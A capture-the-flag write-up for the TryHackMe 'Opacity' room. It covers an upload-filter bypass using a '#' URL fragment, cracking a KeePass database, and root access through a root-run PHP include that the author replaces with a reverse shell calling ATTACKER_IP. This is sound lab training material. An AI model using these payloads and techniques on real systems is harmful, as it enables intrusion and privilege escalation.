TryHackMe: Opacity write-up
In this article, we’re gonna dive into the solution for the “Opacity” challenge. Our goal is to bypass a file-upload filter and exploit Linux permissions to get root access.
Link https://tryhackme.com/room/opacity
Difficulty: Easy
Authors: tryhackme
, mindsflee
Initial enumeration
First, we need to map the machine’s IP address to opacity.thm in our hosts file and do an Nmap scan, which reveals the following information:
... Discovered open port 22/tcp on 10.10.13.142 Discovered open port 80/tcp on 10.10.13.142 Discovered open port 139/tcp on 10.10.13.142 Discovered open port 445/tcp on 10.10.13.142 ...
We discovered an SSH service, a web server, and an SMB service running on the machine. I started the enumeration with enum4linux, but it didn’t provide any interesting information. So, I moved on to the web app. Opening opacity.thm in the browser led me to a login page. A review of the source code didn’t reveal anything significant, and there was no robots.txt file to guide us to other app pages. I then used GoBuster, which produced these results:
=============================================================== 2023/04/10 12:36:26 Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 302) [Size: 0] [--> login.php] /login.php (Status: 200) [Size: 848] /css (Status: 301) [Size: 308] [--> http://opacity.thm/css/] /logout.php (Status: 302) [Size: 0] [--> login.php] /cloud (Status: 301) [Size: 310] [--> http://opacity.thm/cloud/]
Web service exploit and initial access
Heading to http://opacity.thm/cloud
, we find an image upload service. It needs a URL to upload the image from, which is then saved it in the /cloud/images directory. We might be able to use this to upload a reverse shell script instead of an image.
I downloaded pentestmonkey’s reverse shell and configured the IP and port parameters and then set up a Python3 HTTP server on my machine. When I attempted to upload the shell, I received an error message saying, “Please select an image.” In contrast, uploading a standard PNG image proceeded without any problems. This led me to conclude that the web app filters files according to their extensions.
To gain a better understanding of how the service works, I started a netcat listener and directed the website to it. Here is the output:
$ nc -vlnp 8000 listening on [any] 8000 ... connect to [10.8.46.10] from (UNKNOWN) [10.10.99.102] 37516 GET /demo.png HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: */* Accept-Encoding: identity Host: 10.8.46.10:8000 Connection: Keep-Alive
Checking the User-Agent field in the headers, it looks like the web app uses wget to download the images. We can guess that the app makes a system call to wget and passes the URL as an argument.
Let’s try to bypass the filter by using a ‘#’ symbol at the end of the upload URL and adding some fake image filename at the end, like this: http://YOUR_IP/revshell.php#img.jpg
This string will get past the filter because it technically has a valid image extension at the end. However, when passed to wget, this string will be truncated at the # sign (which is a comment in a shell script) and everything after # will be ignored.
All we have to do now is open a netcat listener on our machine, go to http://opacity.thm/cloud/images/revshell.php, and bam! We get an initial shell on the target machine as www-data.
Lateral movement and first flag
After taking a look in the /home directory and /passwd file, I noticed that there is one user on the system, sysadmin. Inside his home directory, I found the user flag and an interesting directory called scripts, both of which are inaccessible to www-data.
As I continued to explore the system, I discovered a suspicious file, /opt/dataset.kdbx. I set up a quick Python web server on the target machine and downloaded the file to my machine. We now have a KeePass database file, which is great because we can attempt to crack its master password.
To do this, I used the keepass2john utility to convert the database file into a hash file for John the Ripper, a popular open-source password cracking tool. Then, I ran John to start the password cracking process:
$ keepass2john dataset.kdbx > forjohn $ john --wordlist=/usr/share/wordlists/rockyou.txt forjohn Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL]) Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status 7418***** (dataset.kdbx) 1g 0:00:00:02 DONE 1/3 (2023-04-10 14:32) 0.4782g/s 6842Kp/s 6842Kc/s 6842KC/s 12345678..987654321 Use the "--show" option to display all of the cracked passwords reliably Session completed
Upon successfully accessing the KeePass database, I discovered the password for the ‘sysadmin’ user. With this information, we can now securely log into the target system using SSH, which provides a more stable and reliable shell compared to the reverse PHP shell we had earlier. Once logged in, we can examine the contents of the ‘scripts’ directory associated with the ‘sysadmin’ user and get the user flag.
Root access
I proceeded to upload pspy onto the machine and began examining the script.php file located within the “scripts” directory. Pspy disclosed that the root user runs /home/sysadmin/scripts/script.php every 5 minutes.
A review of the code revealed that the script carries out two tasks: firstly, it compresses the contents of the “scripts” directory and saves the resulting archive as /var/backups/backup.zip; secondly, it removes all files contained in /var/www/html/cloud/images.
The custom zipData() function in script.php presents a promising opportunity for exploitation to obtain root access. This function is defined in the lib/backup.inc.php file. However, due to insufficient permissions, it appears that we are unable to modify either script.php or backup.inc.php:
sysadmin@opacity:~/scripts$ ls -alh total 16K drwxr-xr-x 3 root root 4.0K Jul 8 2022 . drwxr-xr-x 6 sysadmin sysadmin 4.0K Feb 22 08:16 .. drwxr-xr-x 2 sysadmin root 4.0K Jul 26 2022 lib -rw-r----- 1 root sysadmin 519 Jul 8 2022 script.php sysadmin@opacity:~/scripts$ ls -alh lib total 132K drwxr-xr-x 2 sysadmin root 4.0K Jul 26 2022 . drwxr-xr-x 3 root root 4.0K Jul 8 2022 .. -rw-r--r-- 1 root root 9.3K Jul 26 2022 application.php -rw-r--r-- 1 root root 967 Jul 6 2022 backup.inc.php -rw-r--r-- 1 root root 24K Jul 26 2022 bio2rdfapi.php -rw-r--r-- 1 root root 11K Jul 26 2022 biopax2bio2rdf.php -rw-r--r-- 1 root root 7.5K Jul 26 2022 dataresource.php -rw-r--r-- 1 root root 4.8K Jul 26 2022 dataset.php -rw-r--r-- 1 root root 3.2K Jul 26 2022 fileapi.php -rw-r--r-- 1 root root 1.3K Jul 26 2022 owlapi.php -rw-r--r-- 1 root root 1.5K Jul 26 2022 phplib.php -rw-r--r-- 1 root root 11K Jul 26 2022 rdfapi.php -rw-r--r-- 1 root root 17K Jul 26 2022 registry.php -rw-r--r-- 1 root root 6.8K Jul 26 2022 utils.php -rwxr-xr-x 1 root root 3.9K Jul 26 2022 xmlapi.php
What we can modify is the lib directory itself as we are the owner and have read, write, and execute permissions for it. I proceeded to copy the contents of the backup.inc.php file, delete the original file, and create a new version of backup.inc.php containing a reverse shell:
<?php ini_set('max_execution_time', 600); ini_set('memory_limit', '1024M'); function zipData($source, $destination) { $sock=fsockopen("ATTACKER_IP",9001); system("sh <&3 >&3 2>&3"); } ?>
Subsequently, I set up a netcat listener on my local machine, and after a brief period, I successfully received a connection back as the root user:
nc -vlnp 9001 Listening on [0.0.0.0] (family 0, port 9001) Connection from [10.10.13.142] port 9001 [tcp/*] accepted (family 2, sport 56789) id uid=0(root) gid=0(root) groups=0(root) ls proof.txt snap cat proof.txt [REDACTED]
Conclusion
In this article, we delved into the “Opacity” challenge, showcasing the process of bypassing a file-upload filter and exploiting Linux permissions to gain root access. Through careful enumeration of the target system, we managed to outsmart the file extension filter and cracked a KeePass database to obtain the ‘sysadmin’ password. By abusing a custom PHP function we ultimately achieved root access.
the last part is little bit confusing